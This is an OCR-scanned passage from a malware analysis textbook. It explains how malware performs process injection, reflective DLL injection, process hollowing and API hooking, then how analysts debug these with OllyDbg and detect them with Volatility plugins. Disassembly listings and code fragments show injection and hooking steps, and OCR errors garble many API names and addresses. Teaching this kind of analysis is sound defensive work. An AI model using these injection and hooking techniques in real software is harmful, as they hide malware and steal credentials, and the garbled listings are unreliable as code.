For malware to get a list of the running processes, the following steps are
required:

1. Create a snapshot of all of the processes running at that moment. This
snapshot contains information about all running processes, their names,
process IDs, and other important information. It can be acquired using
the CreateToolhelp32Snapshot API. Usually, it is executed
when tHs2cs_snapprocess is given as an argument (to take a snapshot of the
running processes, not threads or loaded libraries).

2. Get the first process in this list using the processs2rirst APIL. This API gets
the first process in the snapshot and starts the iteration over the list of
processes.

3. Loop on the processsznext API to get each process in the list, one by one,
with its name and process ID, as shown in the following screenshot:



text:1eae9s3e xor esi, esi
.text: 18869832 push esi ; th32ProcessID
Ltext: 18889833 push TH32CS5_SNAPPROCESS ; dwFlags
Ltewt: 18889835 call ds:CreateToolhelp325napshot
text: 186889836 mov edi, eax
Ltext:1eaesssD cmp edi, @FFFFFFFFh
Ltext: 188695848 jnz short loc_18809546
CSLexti198a9842 xor eax, eax
Ltewt: 18089544 jmp short End
XTI IBBBOBAE ; - - - e e e e e e
LJtext:18eess46
Ltext: 18860846 loc_18689846: ; CODE XREF: ProcessInjection+381j
.text: 18869346 lea eax, [esp+l48h+pe]
Ltext: 18989844 mow [esp+148h+pe.dwSize], 128h
.text: 18869852 push eax ; lppe
Ltext: 18889853 push edi ; hSnapshot
Ltext: 18889854 call ds:Process32First
CLext 189889854 test eax, eax
Ltext:1888985C jz short NoMoreProcesses
.text:1886985E mov esi, [esp+l48h+Buffer]
Jext: 188e9862
.text:18009862 Loop: ; CODE XREF: ProcessInjection+8Cj
:'"" .text: 186689862 mowv eax, [esp+1l48h+pe.th32ProcessID]
1 Lext 19889866 test eax, eax
: .text: 18869865 jz short NextProcess
1 Ltext:18ea986a cmp eax, 4
. Ltext: 182889860 jz short NextProcess
1 .text:1886986F cmp eax, ebx
: Ltext: 18889871 jz short NextProcess
1 Ltext: 18869873 push esi
: Ltext: 18869874 lea ecx, [esp+l44h+pe.szExeFile]
1 Ltewt: 18989878 push eCx
: .text: 18869879 push [esp+148h+pe.th32ParentProcessID]
1 Ltext: 18889870 push eax
: .text:1886987E call [esp+158h+InjectIntoProcessFunc]
] JLext:188a9882 test eax, eax
: Ltext: 18989884 jz short loc_18889896
1 Lext: 18889886
i Ltext: 18809886 NextProcess: ; CODE XREF: ProcessInjection+6@1j
1 .text: 18869886 3 ProcessInjection+651]
: .text: 18869886 lea eax, [esp+148h+pe]
1 Ltext: 18289884 push eax : lppe
: .text: 18869888 push edi 3 hSnapshot
1 Ltext: 1888988C call ds:Process32Next
: Ltext:1eaessoz test eax, eax
==ma=a [Jtext:188895894 jnz short Loop
LJext: 188es896

Figure 4: Process searching using CreateToolhelp32Snapshot

Once the desired process has been found, the malware then goes to the next
phase by executing the openprocess API with the process's PID, as we learned in
the previous section.



Code injection

This technique sounds very similar to DLL injection. The difference here is
actually in the executed code inside the target process. In this technique, the
malware injects a piece of assembly code (as an array of bytes) and executes it
using the createremotethread API. This piece of code is position-independent and
we can say it's PE-independent. It has the ability to load its own import table,
access its own data, and execute all of the malicious activities inside the targeted
process.

The steps that the malware follows for this code injection techniques are like so:

1. Search for the targeted process USiIlg CreateToolhelp32Snapshot, Process32First,
and process32Next.

2. Get the process handle using the openprocess API.

3. Allocate memory inside this process llSiI'lg VirtualAllocEx (OF CreateSectionEx,
which can be used in pretty much the same way) with the size of the whole
piece of assembly code.

4. Copy that code into the targeted process using writeprocessmemory, as we have
seen already.

5. Execute this code using the createremotethread API. Some malware gives the
name or the PID of the malware process to this injected code so that it can
terminate the malware (and possibly delete its file and all of its traces) to
ensure there's no clear evidence of the malware's existence.

In the following screenshot, we can see an example of a typical code injection:



Ltext:1eeeass4 push esi 3 hProcess

Ltext: 1888535 call ds:VirtualAllocEx

Ltext:1888A53E mov edi, eax 3 edi --»> Address of buffer inside the process
Ltext: 18884530 test edi, edi

Ltext:1888A53F jnz short loc_l1888A545

Ltext:1888A541

Ltext:1888A541 loc_1880A541: ; CODE XREF: InjectDatalntoProcess+5F+j
Ltext:l8e8A541 xor eax, eax

Ltext:1888A543 jmp short loc_1@@8ASBE

CEEXEILBBBASAS § - - - - S
.text: 18884545

Ltext: 18884545 loc_1@@8A545: 3 CODE XREF: InjectDatalntoProcess+2ET]
Ltext: 1888545 push [esp+1Ch+dwsize] ; nSize

L text:18e8A549 cdg

Ltext: 18064544 mov ecx, esi ;3 hProcess

text: 1888A54C mov ebp, edx

Ltext:1888A54E mow ebx, eax

L text:1888A558 mov edx, [esp+28h+InjectedData] ; lpBuffer
Ltext:1888A554 push ebp

Ltext:1888A555 push ebx ; lpBaseAddress
Ltext:1888A556 call WriteIntoProcessMemory

text:1888A558 add esp, @Ch

text:1888A55E test eax, eax

Ltext:18e8A568 jnz short loc_1@@@A572

Ltext:18e8A562 push geaah 3 dwFreeType

Ltext: 18984567 push eax ; dwsize
Ltext:1888A568 push edi 5 lpAddress

Ltext: 18884569 push esi 5 hProcess
Ltext:1888A56A call ds:VirtualFreeEx

Ltext:1888A570 jmp short loc_l1888A541

SEEXETIBBBASTD - - - oo m oo
.text: 18804572

Ltext:1888A572 loc_1@@0A572: 3 CODE XREF: InjectDataIntoProcess+4FtTj
Ltext: 18884572 mov ecx, [esp+lCh+Entrypoint]

LLext:1088A576 xar eax, eax

Ltext:18e8As78 add ecx, ebx 3 Actual Entrypoint = BaseAddress + Relative Entrypoint
Ltext: 18884574 mov edx, esi

Ltext:1888A57C push ebp

text:1888A570D adc eax, ebp

Ltext:1888A57F push ebx 3 Start Address of the buffer
Ltext:1888A580 push eax

Ltext:1888A581 push ecx

Ltext:1888A582 mav ecx, [esp+2Ch+var_4]

Ltext:1888A586 call CreateRemoteThreadFunc

text:1888A58E add esp, 18h

Figure 5: Code injection example

It's very similar to the DLL injection in regards to the steps that were used for
process injection, but most of the hard work is in this piece of assembly code.
We will dive deeper into this type of position-independent PE independent code
(that is, shellcode) in chapter 7, Handling Exploits and Shellcode. We will cover
how it identifies its own place in memory, how it accesses the APIs, and how it
performs malicious tasks.



Advanced code injection-reflective
DLL injection

This position-independent code (shellcode) can go one step further and load a
malicious DLL into the targeted process's memory from memory rather than
from disk. In this case, the payload PE file gets injected with a custom PE
loader (either shellcode or as part of this file) into the targeted process, and the
loader will be responsible for loading this payload manually.

It allocates memory with the size of the ImageBase and follows the PE loading
steps including import table loading and fixing. The relocation entries (in the
relocation table, check chapter 2, Basic Static and Dynamic Analysis for x86/x64,
is shown in the following screenshot:



Ltext:18e6C834 mowv eax, 'IM'
.text:leeacs3o cmp [esi], ax
Jdextileealssc jnz loc_leeaCsco
text:leeacs42 push ebx
Ltext:leea0s43 mowv ebx, [esi+3Ch] ; FILE_DOS_HEADER.elf_anew
Ltext: 18660846 add ebx, esi
Jtext:1008C345 cmp dword ptr [ebx], 'EP’
Ltext:18eaC34E jnz short loc_18eaC3C8
.text:leeals58 mov ecx, [esi+5ah]
Ltext: 1008853 mov eax, le@Bh
Ltext:1eeacsss call MemAlloc
text: 18680850 mowv edi, eax
.text:1808C85F test edi, edi
Ltext:189aC361 jz short loc_laeaCsCs
Ctext:1ee8CB863 xor eax, eax
Ltext:18eaCs6s cmp ax, [ebx+6] 3 FILE_HEADER.number of_ sections
text:leeacses jnb short loc_1@@aCsAB
text:leeaC86B lea ebp, [ebx+1@Ch]
Jext:leaalsyl
Ltext:18@8C871 LoopOnSections: ; CODE XREF: PEReadFileMap+AS5+j
®° | text:1080C871 mov edx, [ebp+d]
' Ltext:1eeaCs74 mov ecx, [ebp-8]
: Ltext:18eaCs77 add edx, esi
' .text:leeacs7o push dword ptr [ebp-4]
: Ltext:18e8Cs87C add ecx, edi
1 text:leealsve call memcpy ; copy PE section
; Jtext:1808CE83 mov eax, [esp+28h+var_14]
' .text:18@8C887 cmp eax, [ebp+d]
, Ltext:1886C38A pop ecx
' .text:18e8CE56 cmova eax, [ebp+@]
: .text:180aC88F lea ebp, [ebp+28h] ; sizeof(IMAGE_SECTION_HEADER). Mowves to the next section
1 text:leeacso2 mov ecx, [esp+24h+i]
: text:leeacsoe mov [esp+24h+var_14], eax
' Ltext:leaalsss inc ecx
. Jtext:1008C396 movzx  eax, word ptr [ebx+6] ; FILE_HEADER.number_of_sections
' .text:18@8C39F mov [esp+24h+i], ecx
: Ltext:18eaC3AS cmp ecx, eax
== |.text:1086C8A5 jb short LoopOnSections
textileeacsa? mov ebp, [esp+24h+var_14]
ext:1eealBAE
Ltext:18@8CBAE loc_1@80@CBAB: ; CODE XREF: PEReadFileMap+691j
.text:1808CBAB push ebp
Ltext:1886C8AC mowv edx, esi
Ltext:1886CBAE mow ecx, edi
.text:1eeaCiBa call memcpy
.text: 180480285 mov eax, [esp+28h+var_8]

Figure 6: PE loading process in shellcode

This technique looks similar in terms of results to DLL injection, but it doesn't
require that the malicious DLL be stored on the hard disk and it doesn't leave
usual traces of this DLL inside the Process Environment Block (PEB). So,
memory forensics applications that only rely on PEB to detect DLLs wouldn't be
able to detect this loaded DLL in memory.



Stuxnet secret technique-process
hollowing

Hollow process injection (process hollowing) is an advanced technique that
was introduced in Stuxnet malware before it became popular in the APT attacks
domain. Process hollowing is simply a matter of replacing the targeted process's
PE memory image from its virtual memory (removing the loaded PE file of the
actual application from its virtual memory) and replacing it with the malware
executable file.

For example, the malware creates a new process of svchost.exe. After the process
is created and the PE file of svchost is loaded, the malware removes the loaded

svchost PE file from its memory and then loads the malware executable PE file

to the same place and executes it as a svchost process.

This mechanism completely disguises the malware executable in a legitimate
coat as the Process Environment Block (PEB) and the equivalent eprocess
object still holds information about the legitimate process. This helps malware to
bypass firewalls and memory forensics tools.

The process of this form of code injection is quite different from the previous
ones. Here are the steps the malware has to take in order to do this:

1. Create a legitimate process in suspended mode, which creates the process
and its first thread, but don't start the thread (the thread is in suspended
mode):



CreateProcesss
a,
phestCmdLine,

CREATE_SUSPENDED,
a,

a,

pStartuplnfo,

pProcessInfo

it (!pProcessInfo->*hProcess)
printf("Error creating processiriwn");
eturn;

Figure 7: Creating a process in suspended mode

. Unload the legitimate application's memory image using virtualrreeex
(hollowing out the process).

. Allocate the same space in memory (the same as the unloaded PE image)
for the malware PE image (the virtuaiaiiocex API allows the malware to
choose the preferred address to be allocated if it's free).

. Inject the malware executable into that space by loading the PE file and
fixing its import table (and its relocation table if needed).

. Change the thread starting point to the malware EntryPoint using

the setThreadcontext API. The cetThreadcontext API allows the malware to get
all of the registers' values, thread state, and all of the necessary information
for the thread to be resumed after this, whereas the setThreadcontext API
allows the malware to change these values, including the EIP/RIP register
(instruction pointer) so that it can set it to the new EntryPoint.



6. The last step is to resume this suspended thread to execute the malware
from that point:

if (!'SetThreadContext{pProcessInfo->*hThread, pContext))
primtf{"Error setting context\rin™};
return;

printf{"Resuming threadr\n"};

if (!ResumeThread{pProcessInfo->hThread))

printf{"Error resuming thread\wr\n")};

&

return;

Figure 8: SetThreadContext and ResumeThread

This is the most well-known technique of process hollowing. There are other
techniques that don't unload the actual process and include both the malware and
the legitimate application executables together or use the createsection API to
inject the malware code as an object.

Now, we will have a look at how we can extract the injected code and analyze it
in our dynamic analysis process or in our memory forensics process.



Dynamic analysis of code injection

The dynamic analysis of process injection is quite tricky. The malware escapes
the debugged process into another one in order to run the shellcode or load the

DLL. To be able to debug this shellcode successfully, there are some tricks that
may help you to debug the injected code.



Technique 1—debug it where it is

The first technique, which is preferred by many engineers, is to not allow the
malware to inject the shellcode but rather to debug the shellcode in the malware
memory as if it were already injected. Generally, malware injects its shellcode
inside another process and executes it from a specific point in that shellcode. We
can locate that shellcode inside the malware binary (or memory if it gets
decrypted) and just set the err/r1p register (set origin here in OllyDbg) to this
shellcode EntryPoint and continue the execution from there. It allows us to
execute this shellcode inside a debugged process and even bypass some checks
for the name of the process this shellcode is supposed to run in.

The steps to perform this technique are as follows:

1. Once the malware calls virtualai1ocex to allocate space for the shellcode in
the targeted process memory, save the returned address of that allocated
space (let's say the returned address was exsee000).

2. Set a breakpoint on writeprocessmemory and save the source and the destination
addresses. The source address is the address of that shellcode inside the
malware process's memory (let's say ex4s0000) and the destination will
probably be the returned address from virtuaiallocex.

3. Now, set a breakpoint on createremotethread and get the EntryPoint (and the
arguments, if there are any) of that shellcode in the targeted process (let's
say it will be exsee12F).

4. Now, calculate the shellcode EntryPoint inside the malware process's
memory, which in this case will be ex3ee12F - 0x300000 + 0x450000 = 0x45012F.

5. If a virtual machine is used for debugging (which is definitely
recommended), save a snapshot and then set the e1r value to the shellcode
EntryPoint (ex4se12F), set any necessary arguments, and continue debugging
from there.

This technique is very simple and easy to debug and handle. However, it works
with simple shellcode and doesn't work properly with multiple injections
(multiple calls of writeprocessmemory), process hollowing, or with complicated
arguments. It needs cautious debugging after it in order to not receive bugs or
errors from having this shellcode running in a process that's different from what



it was intended to be executed in.



Technique 2—attach to the targeted
process

Another simple solution is to attach to the targeted process before the malware
executes createremoteThread OF modifies the createremoteThread creation flags to
cREATE_susPENDED, like this:

| CreateRemoteThread(Process, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibrary, (LPVOID)Men

To be able to do so, we need to know the targeted process that the malware will
inject into. This means that we need to set breakpoints on the processszrirst and
processaznext APIs and analyze the code in-between searching for the APIs, such
as strcmp Or equivalent code, to find the required process to inject into. Not all
calls are just for process injection; it can also be used as an anti-reverse
engineering trick, as we will see in chapter 5, Bypassing Anti-Reverse
Engineering Techniques.



Technique 3—dealing with process
hollowing

Unfortunately, the previous two techniques don't work with process hollowing.
In process hollowing, the malware creates a new process in a suspended state,
which makes it unseen by OllyDbg and similar debuggers. Therefore, it's hard to
attach to them before the malware resumes the process and the malicious code
gets executed, undebugged, and unmonitored.

As we already mentioned, in process hollowing, the malware hollows out the
legitimate application PE image and loads the malicious PE image inside the
targeted process memory. The simplest way to deal with this is to set a
breakpoint on writeprocessmemory and dump the PE file before it's loaded into the
targeted process memory. Once the breakpoint is triggered, follow the source
argument in writeprocessmemory and scroll up until the start of the PE file is found
(usually, it can be recognized by the mz signature and common this program cannot
run in Dos mode text, which is shown in the following screenshot):

Address Hex dump ASCIT
01140000 |4D 5A 90 00|03 00 00 00|04 00 00 OO|/FF FF 00 00|MzZ.0...0...¥%..
01140010 |[B8 00 00 00|00 00 00 00|40 00 00 00|00 00 00 00|,....... CElR
01140020 |00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00|.. .o nnnn..
)1140030 (00 00 00 00|00 00 00 00|00 00 00 O00|FC 00 00 00| ...cveeeenun. g
40040 |OE 1F BA OE|00 B4 09 CD|21 B8 01 4c|cD 21 54 68|0°0. .f! ,ILi!Th
40050 |69 73 20 70|72 6F 67 72|61 6D 20 63|61 BE €E 6F|is program canno
40060 |74 20 62 65 20 72 75 6E|20 69 6E 20|44 4F 53 20|t be run in DOS
40070 |6D 6F 64 65| 2E 0D 0D 0A[24 00 00 00|00 00 00 00/mode....5.uc.....
40080 |50 90 14 60|14 F1 7A 33|14 F1 7A 33|14 F1 7A 33|Pl'(A=z3lz30Az3
01140090 |19 A3 9B 3337 F1 7a& 33|19 A3 A5 33| 1B F1 7A 33|0£>37fz30£¥30z3
J1140020 |19 A3 9a 33| 6B F1 7A 33|1D 89 E9 33 19 F1 7a 33|0£33kfiz3%&30z3
4 14 F1 7B 33 67 F1 7A 33 69 88 9B 33|16 F1 7A 33|0fi{3gfiz3i" »3lfiz3
4 69 88 9A 33 16 F1 7A 33 19 A3 Al 33|15 F1 7A 33|i"330fz30c;30fz3
4 14 F1 ED 33 15 F1 7A 33 69 88 A4 33|15 F1 7A 33|[fii30fi=z3i"=30fiz3

10 52 €69 63 68|14 F1 7a 33|00 00 00 00|00 00 00 O00|Richifiz3........
011400F0 |50 45 00 00 4c 01 05 00 BO 99 5D 57|00 00 00 0O|PE..LE."™]W....

Figure 9: PE file in hex dump in OllyDbg

Some malware families use createsection and mapviewofsection instead of
writeMemorypProcess. These two APIs, as we described earlier, create a memory
object that we can write the malicious executable into. This memory object can
also be mapped to another process as well. So, after the malware writes the
malicious PE image to the memory object, it maps it into the targeted process
and then uses createremotethread to execute its EntryPoint.



In this case, we can set a breakpoint on mapviewofsection to get the returned address
of the mapped memory object (before the malware writes any data to this
memory object). Now, it is possible to set a breakpoint or write on this returned
address in order to catch any writing operation to this memory object (writing to
this memory ObjECt is equivalent to WriteProcessMemory).

Once your breakpoint on write hits, we can find what data is getting written to
this memory object (most probably a PE file in the case of process hollowing)
and the source of the data that contains all of the PE files that are unloaded so
that we can easily dump it to disk and load it in OllyDbg as if it were injected
into another process.

This technique, in brief, is all about finding the PE file before it gets loaded and
dumping it as a normal executable file. Once we get it, we get the second stage
payload. Now, all we need to do is debug it in OllyDbg or analyze it statically
(for example, using IDA Pro or any other similar tool).

Now, we will take a look at how to detect and dump the injected code (or
injected PE file) from a memory dump using a memory forensics tool called
Volatility, which gets even more tricky than dealing with process injection using
dynamic analysis.



Memory forensics techniques for
process injection

Since one of the main reasons to use process injection is to hide malware
presence from memory forensics tools, it gets quite tricky to detect it using
memory forensics techniques. In this section, we will take a look at different
techniques that we can use to detect different types of process injection.

Here, we will be using a tool called volatility. This tool is a free, open source
program for memory forensics that can analyze memory dumps from infected
machines. So, let's get started.



Technique 1—detecting code injection
and reflective DLL injection

The main red flags that help in detecting injected code inside a process is that the
allocated memory that contains the shellcode or the loaded DLL is always
allocated with execute permission and doesn't represent a mapped file. When a
module (an executable file) gets loaded using Windows PE Loader, it gets loaded
with an mace flag to represent that it's a memory map of an executable file. But
when this memory page is allocated normally using virtualalioc, it gets allocated
with a prrvate flag to show that it is allocated for data:

0094c000| 00002000 00850000 Priv|RW GualRW
0094E000| 00002000 00850000 stack of thread 00006850 Priv|RW GualRW
00R4C000| 00002000 00250000 Priv|RW GualRW
00R4E000| 00002000 00950000 stack of thread 00002D44 Priv|RW GualRW
00B4C000| 00002000 00AS0000 Priv|RW GualRW
00OB4E000 | 00002000 00AS0000 stack of thread 0000&B5C Priv|RW GualRW
0OB50000| 00036000 QOBS0000 Map |R R

00D50000| 00181000 00D50000 Map |R R

01140000| 00001000 movefile 01140000 FE header Imag R EWE
01141000| 00010000 movefile 01140000 |.text code Imag | R RWE
01151000|0000C000 movefile 01140000 |.rdata imports Imag|R RWE
0115D000| 00004000 movefile 01140000 | .data data Imag|R RWE
01161000| 00001000 | movefile 01140000 |.rsrc resources Imag | R RWE
01162000| 00001000 |movefile 01140000 | .reloc relocations Imag | R RWE
01170000 01401000 01170000 Map |R R

53330000| 00001000 |CcOMCTL32 53330000 PE header Imag| R RWE
53331000| 00073000 |COMCTL32 53330000 | .text code, exports Imag|R RWE
533m4000| 00003000 |COMCTL32 53330000 | .data data Imag| R RWE
533A7000| 00003000 |COMCTL32 53330000 | .idata imports Imag | R RWE
533AA000 | 0000FO000 | COMCTL32 53330000 | .rsrc resources Imag | R RWE
533B9000 (00005000 |COMCTL32 53330000 | .reloc relocations Imag|R RWE

Figure 10: OllyDbg memory map window—Iloaded image memory chunk and private memory chunk

It's not common to see private allocated memory having the execute permission,
and it's also not common (which most shellcode injections do) to have the write
permission with the execute permission (Reab_wr1TE_EXECUTE).

In Volatility, there is a command called maifind. This command finds hidden and
injected code inside a process (or the entire system). This command can be
executed (given the image name and the OS version) with a process ID if the
scan for a specific process is required, or without a PID in order to scan the
entire system, as shown in the following screenshot:
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Figure 11: The malfind command in Volatility detects a PE file (MZ header)

As we can see, the ma1rind command detected an injected PE file (by MZ header)
inside an Adobe Reader process at the address exoo3deeoee.

Now, we can dump all memory images inside this process using

the vaddump command. This command dumps all memory regions inside the
process, following the errocess kernel object for that process and its virtual
memory map (and its equivalent physical memory pages) using what's called
Virtual Address Descriptors (VADs), which are simply mappers between
virtual memory and their equivalent physical memory. vaddump will dump all of
the memory regions into a separate file, as shown in the following screenshot:



. /Dump

F

For injected PE files, we can dump them to disk (and reconstruct their headers
and sections back, but not import tables) using d11dump instead of vaddump, as shown
in the following screenshot:

-f crid vmem --profile=Wi
tion Vol: rk

0 reader_s]

Figure 13: Using dlldump given the process ID and the ImageBase of the DLL as --base

After that, we will have a memory dump of the malware PE file (or shellcode) to
scan and analyze. It's not a perfect dump, but we can scan it with strings or
perform static analysis on it. We may need to fix the addresses of the import
table manually by patching these addresses in OllyDbg and dumping them again
or directly debugging them.



Technique 2—detecting process
hollowing

When the malware hollows out the application PE image from its

process, Windows removes any connections between this memory space and the
PE file of that application. So, any allocation at that address becomes private and
doesn't represent any loaded image (PE file).

However, this unlink only happens in the errocess kernel object and not in the
PEB that is accessible inside the process memory. In Volatility, there are two
commands that you can use to get a list of all of the loaded modules inside a
process. One command lists the loaded modules from the res information (from
user mode), which is d111ist, and the other one lists all loaded modules from
eprocess kernel object information (kernel mode), which is 1drmoduies. Any
mismatch in the results between both commands could represent a hollow
process injection, as shown in the following screenshot:

vol.exe -f . /s 6 d11list -p 868

oundation Volatild

Size LoadCount

vmem --profile
Framework 2.6 :
; InLoad InInit InMem MappedPath

True
True
True
True
True
True
True
True

Figure 14: Isass.exe at the 0x01000000 address is not linked to its PE file in ldrmodules




There are multiple types of mismatch, and they represent different types of
process hollowing, such as the following:

e When the application module is not linked to its PE file, like in the
preceding screenshot, it represents that the process is hollowed out and that
the malware is loaded in the same place.

e When the application module appears in the d111ist results and not at all in
the 1drmodules results, it represents that the process is hollowed out and that
the malware is possibly loaded in another address. The maifind command
could help us to find the new address or dump all memory regions in that
process using vaddump and scan them for PE files (search for MZ magic).

e When the application appears in both commands' results and linked with the
PE filename of the application, but there's a mismatch of the module
address in both results, it represents that the application is not hollowed out,
but the malware has been injected and PEB information has been tampered
with to link to the malware instead of the legitimate application PE image.

In all of these cases, it shows that the malware has injected itself inside this
process using the process hollowing technique, and vaddump Or procdump Will help to
dump the malware PE image.



Technique 3—detecting process
hollowing using the HollowFind
plugin

There is a plugin called Ho11owrind that combines all of these commands. It finds a
suspicious memory space or evidence of a hollowed out process and returns
these results, as shown in the following screenshot:

oads# python volatility-master/vol.py -f stuxnet.vmem hollowfind

PID: 668
55 UTC+0000

5\ \ em32\\1lsass.
Hollow Type: Invalid EXE Memory Protection and P ss Path Discrepancy

VAD and PEB son:
Bas s(VAD): 0x1000000
ath(VvAD):

PAGE_EXECUTE_READWRITE

: 0x1000000
): C:A\WINDOWS\system32\lsass.exe
on: PAGE_EXECUTE_READWRITE

Disassembly{(Entry Point):
0014bd e95f1co080 JMP
0014cz2 0OOO ADD
0x010014c4 0000 ADD
0x010014c6 0000 ADD

Figure 15: The HollowFind plugin for detecting hollow process injection

This plugin can also dump the memory image into a chosen directory:

:~/Downloads# python volatility-master/vol.py -f stuxnet.vmem hollowfind -D ./dump
Volatility Foundation Volatility Framework 2.6

Hollowed Process Information:
Process: lsass.exe PID: 1928

Figure 16: The HollowFind plugin for dumping the malware PE image

So, that's it for process injection and how to analyze it dynamically using
OllyDbg (or any other debugger), as well as how to detect it in a memory dump
using Volatility.

In the next section, we will cover another important technique that's used by
malware authors, known as API hooking. It's usually used in combination with



process injection for man-in-the-middle attacks or for hiding malware presence
using user-mode rootkits techniques.



Understanding API hooking

API hooking is a common technique that's used by malware authors to intercept
calls to Windows APIs in order to change the input or output of these
commands. It is based on the process injection technique we described earlier.

This technique allows malware authors to have full control over the target
process and therefore the user experience from their interaction with that
process, including browsers and website pages, antivirus applications and its
scanned files, and so on. By controlling the Windows APIs, the malware authors
can also capture sensitive information from the process memory and the API
arguments.

Since API hooking is used by malware authors, it has different legitimate
reasons to be used, such as malware sandboxing and backward compatibility for
old applications. Therefore, Windows officially supports API hooking, as we
will see later in this chapter.



Why API hooking?

There are multiple reasons why malware would incorporate API hooking in its
arsenal. Let's go into the details of this process and cover the APIs that malware
authors generally hook in order to achieve their goals:

e Hiding malware presence (rootkits): For the malware to hide its presence
from users and antivirus scanners, it needs to hook the following APIs:
e Process listing APIs such as processs2rirst and processsanext SO that it can
remove the malware process from the results
e File listing APIs such as rindrirstrilea and rindnextFileA
L Registry enumeration APIs such as RegQueryInfoKey and RegEnumKeyEx
¢ Stealing banking details (banking Trojans): For the malware to capture
HTTP messages, inject code into a bank home page, and capture sent
username and pin codes, it usually hooks the following APIs:
e Internet communication functions such
dS InternetConnectA, HttpSendRequestA, InternetReadFile, and other wininet.d11
APIs. wsarecv and wsasend from ws2_3s2.d11 are another possibility here.
e Firefox APIs such as pr_Rread, PR write, PR_Close.

e Other uses: HOOkng CreateProcessA, CreateProcessAsUsera, and similar APIs to
inject into child processes or prevent some processes from starting.
Hooking LoadLibraryA and LoadLibraryExA is also possible.

Both the A and W versions of WinAPIs (for ANSI and Unicode, respectively)
can be hooked in the same way.



Working with API hooking

In this section, we will look at different techniques for API hooking, from the
simple methods that can only alter API arguments to more complex ones that
were used in different banking Trojans, including Vawtrak.



Inline API hooking

To hook an API, the malware needs to modify the first few bytes (typically, this
is five bytes) of the API assembly code and replace them with jmp
<hooking_function> SO that it can change the API arguments and maybe skip the call
to this API and return a fake result (like an error or just nuce). The code change
generally looks like this:
Before Hooking:
API_START:

mov edi, edi

push ebp
mov esp, ebp

After Hooking:
API_START:
jmp hooking_function

So, the malware replaces the first five bytes (which, in this case, are three
instructions) with one instruction, which is jmp to the hooked function. Windows
supports API hooking and has added an extra instruction, mov edi, edi, which
takes two bytes of space, which makes the function proiogues bytes. This makes
API hooking a much easier task to perform.

The nhooking_function saves the replaced five bytes at the beginning of the API and
uses them to call the API back, for example, like this:

hooking_function:
<change API parameters>

mov edi, edi

push ebp

mov esp, ebp

jmp API+5 ;jump to the API after the first replaced 5 bytes

This way, hooking_function can work seamlessly without affecting the program
flow. It can alter the arguments of the API and therefore control the results, and
it can directly execute ret to the program without actually calling the API.



Inline API hooking with trampoline

In the previous simple hooking function, the malware can alter the arguments of
the API. But when you're using trampolines, the malware can also alter the
return value of the API and any data associated with it. The trampoline is simply
a small function that only executes jmp to the API and includes the first missing
five bytes (or three instructions, in the previous case), like this:
Trampoline:
mov edi, edi
push ebp

mov esp, ebp
jmp API+5 ;jump to the API after the first replaced 5 bytes

Rather than jumping back to the API, which in the end returns control to the
program, the hooking function calls the trampoline as a replacement of the API
and the trampoline returns to the hooking function with the return value of the
API to be altered by the hooking function before returning back to the program,
as shown in the following screenshot:

API Hooking Function

Code before hook

‘—|~ Trampoline (L] call API

Code after hook

Figure 17: Hooking function with Trampoline

The code of the hooking function looks more complex:

hooking_function:
<change API parameters>
push API_argument03
push API_argument02
push API_argument0il
call trampoline ;jmp to the API and return with the API return value

<change API return value>

ret ;return back to the main program



This added step gives malware more control over the API and its output, which
makes it able to inject JavaScript code into the output of internetreadrile, PR_Read,
or other APIs to steal credentials or transfer money to a different bank account.



Inline API hooking with a length
disassembler

As we have seen in the previous techniques, API hooking is quite simple when
you use the mov edi, edi instruction at the beginning of each API, which makes
the first five bytes predictable for API hooking functionality. Unfortunately, this
can't always be the case with all Windows APIs, and so sometimes malware
families have to disassemble the first few instructions to avoid breaking the API.

Some malware families such as Vawtrak use a length disassembler to replace a
few instructions (with a size equal or greater than five bytes) with the jmp
instruction to the hooking function, as shown in the following screenshot. Then,
it copies these instructions to the trampoline and adds a jmp instruction to the
API:

Ltext:1888C503 loc_1868C503: 5 CODE XREF: CopyAPIFirstInstructions+61%j
Ltext:1888C503 5 CopyAPIFirstInstructions+6Ctj ...
Ltext:188eC503 push edi

Jtext:1eeacsna mov edx, esi

.text:1eeaCsDe mov ecx, ebx

Ltext: 18880508 call memcpy

Ltext:186aC500 test [espt+24h+var_C], Beh

text:1e8aC5e2 pop BCX

Ltext:1888C5E3 s short loc_1886(5FB

Ltext:1888C5ES cmp edi, 5

Ltext:1088C5E8 jnz short loc_1886CeAE

Jtext:1888C5EA mov al, [esi]

Ltext:1888C5EC cmp al, @Esh ; call opcode (8xE8 represents a call instruction)
.text:1888C5EE jz short loc_l@@aCS5F4

Ltext:1868C5F0 cmp al, @ESh 3 far jmp opcode (@xE9 represenmts a far jmp instruction)
Ltext:1888C5F2 jnz short loc_l1886C68E

text:1e8acs5r4

.text:1888C5F4 loc_ 1888C5F4: 5 CODE XREF: CopyAPIFirstInstructions+B2%tj
text:1808C5F4 mov eax, esi

text:1808C5F6 sub eax, ebx

Ltext:1888C5F8 add [ebx+1], eax

.text:188aC5FE

.text:1808C5FE loc_1@@8C5FB: 5 CODE XREF: CopyAPIFirstInstructions+A71j
.text:1888C5FB add ebp, edi

.text:1886C5FD add esi, edi

.text:1888C5FF add ebx, edi

Ltext:18868C681 cmp ebp, 5 3 The minimum length for all copied instructions
Jtext: 18980684 jb Loop

Ltext: 18680604 mov eax, ebp

Ltext:1888C68C jmp short loc_l@eeCele

Figure 18. The Vawtrak API hooking with a disassembler

The main goal of this is to ensure that the trampoline doesn't jmp back to the API



in the middle of the instruction and to make the API hooking work seamlessly
without any unpredictable effects on the hooked process behavior.



Detecting API hooking using memory
forensics

As we already know, API hooking is built on process injection, and dealing with
API hooking in dynamic analysis and memory forensics is very similar to
dealing with process injections. Adding to the previous techniques of detecting
process injection (using malfind OT hollowfind), We can use a Volatility command
called apihooks. This command scans the process's libraries, searching for hooked
APIs (starting with jmp or a ca11), and shows the name of the hooked API and the
address of the hooking function, as shown in the following screenshot:

Foundation Volatili

Figure 19. The Volatility command apihooks for detecting API hooking

We can then use vaddump (as we described earlier in this chapter) to dump this
memory address and use IDA Pro or any other static analysis tool to disassemble
the shellcode and understand the motivation behind this API hooking.



Exploring IAT hooking

IAT hooking (import address table hooking) is another form of API hooking that
isn't widely used. This hooking technique doesn't require any disassembler, code
patching, or a trampoline. The idea behind it is to modify the import table's
addresses so that they point to the malicious hooking functions rather than the
actual API. In this case, the hooking function executes jmp on the actual API
address (or ca11 after pushing the API arguments to the stack) and then returns to
the actual program, as shown in the following diagram:



IAT Hooking
CreateFile
mov edi, edi
push strFileName push ebp
mov ebp, esp
